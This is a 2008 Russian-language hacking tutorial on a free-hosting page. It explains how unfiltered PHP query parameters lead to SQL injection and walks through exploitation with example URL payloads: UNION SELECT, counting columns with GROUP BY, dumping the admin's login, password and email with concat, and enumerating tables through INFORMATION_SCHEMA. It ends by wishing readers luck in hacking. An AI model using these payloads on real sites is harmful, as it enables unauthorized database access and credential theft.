Free hosting: www.2x4.ru
DDOS protection
Close
HELLO WORLD TEAM - SQL-Injections+%231 - Интернет Безопасность
SQL-Injections #1

Привет! Сегодня я расскажу вам некоторые методы раскрутки инъекции.
В этой статье мы рассмотрим причины по которым возникают инъекции , и как их использовать .

И так начнём! Начнём с самого зарождения инъекции ...
Некоторые программисты наивно полагают что их сайтом будут пользоваться только
законопослушные пользователи интернета , и оставляют входящие параметры
без проверки и фильтрации , по этой причине возникают уязвимости в движке.
Одна из таких уязвимостей это SQL инъекция.

Что это такое?! Это возможность изменить оригинальный запрос к базе данных
Например:
SELECT `title`,`content` FROM `news` WHERE `id`=$_GET['id']

Это самый очевидный тип инъекции , таким способом программист просто непросто
оставляет дверь к базе данных открытой , что приводит к инъекции ...
А как же её , использовать?! Из запроса очевидно что в URI должен быть
параметр id , что-то типа www.site.ru/index.php?id=1 .

Вместо 1 мы подставим наш запрос , например так :
www.site.ru/index.php?id=1+union+select+1,2/*
и так разберём каждый кусок запроса ..

id=1 при таком раскладе мы говорим что выбирать надо из таблицы news где id равен 1
если бы мы этого не сделали то запрос бы получился не корректным , а именно
SELECT `title`,`content` FROM `news` WHERE `id`= union+select+1,2 .

При таком раскладе он бы искал новость с индетификатором union , а теперь узнаем что означает знак + .
Этот знак в URL означает пробел. А также , с помощью union select ,
мы выбираем из базы данных то ,что нам нужно ...
Некоторые подставляют одинарную кавычку в url для проверки есть ли там инъекция ,
сами не понимая , что делают .И когда такой запрос не выдаёт ожидаемой mysql ошибки ,
уверены в том , что инъекции нет . Это не верная тактика , и объясню почему ...
Запрос может выглядеть так:
$sql='SELECT `title`,`content` FROM `news` WHERE `id`="'.$_GET['id'].'"';

Если вы впишете в url www.site.ru/index.php?id=1’1 запрос получится такого вида:
WHERE `id`="1'1" и никакой ошибки в таком запросе просто напросто нет!
Он будет искать новость с индетификатором (1'1) , а вот если подставить
www.site.ru/index.php?id=1”1 запрос будет такого вида:
WHERE `id`="1"1" что конечно же приведёт к синтаксической ошибке!

Теперь поговорим о количестве полей в запросе и как их подбирать.

Для union select нужно точно подобрать количество столбцов которые задеты в этом запросе.
Мы можем сделать это с помощью оператора group by , его можно подставлять запрос и подбирать количество столбцов...
Когда вы превысите количество столбцов , возникнет ошибка и тогда мы поймём что предыдущее значение было максимальным!

Например возьмём наш любимый запрос:
$sql='SELECT `title`,`content` FROM `news` WHERE `id`="'.$_GET['id'].'"';
И наберём в адресной строке следующее:
www.site.ru/index.php?id=1" + group by 1

хм... хорошо ошибки нет (Ведь в запросе затронуто 2 столбца title и content).
Наберём www.site.ru/index.php?id=1"+group+by+2 .... Тихо...
И в конец набираем www.site.ru/index.php?id=1"+group+by+3 .
УРА долгожданная ошибка ! Теперь мы точно знаем что количество затронутых столбцов 2 .

Зная название таблиц и их столбцов можно выбрать из базы всё!
Скажем в базе есть таблица users и в ней столбцы Login Pass и Email
Давайте узнаем пароль админа (Его индитификатор предположительно 1)
www.site.ru/index.php?id=1"+union+select+login,pass+from+users+where+id+like+1 .

При таком запросе на нам выведет на экран логин и пароль админа .

Постойте а как же Email ? В такой ситуации к вам на помощь приходит функция concat,
Теперь сформируем запрос заново
www.site.ru/index.php?id=1"+union+select+1,concat(logn,:,pass,:,email)+from+users+where+id+like+1

после такого запроса нам на экран выведет логин,пароль и Email админа в таком виде:
login:pass:email .

И так с этим разобрались!

Но что же делать когда вы не знаете название таблиц и столбцов в базе?
В таком случае может спасти INFORMATION_SCHEMA !

Узнать все поля и таблицы можно следующим способом
www.site.ru/index.php?id=1”+union +select+TABLE_SCHEMA,COLUMN_NAME+from+INFORMATION_SCHEMA.COLUMNS+where+1

На этом первая часть статьи заканчивается.

Удачи вам в хакерстве!

Дата: 2008-08-04 13:38:27 Автор: @FATAL@

Назад


Мой хостинг - www.2x4.ru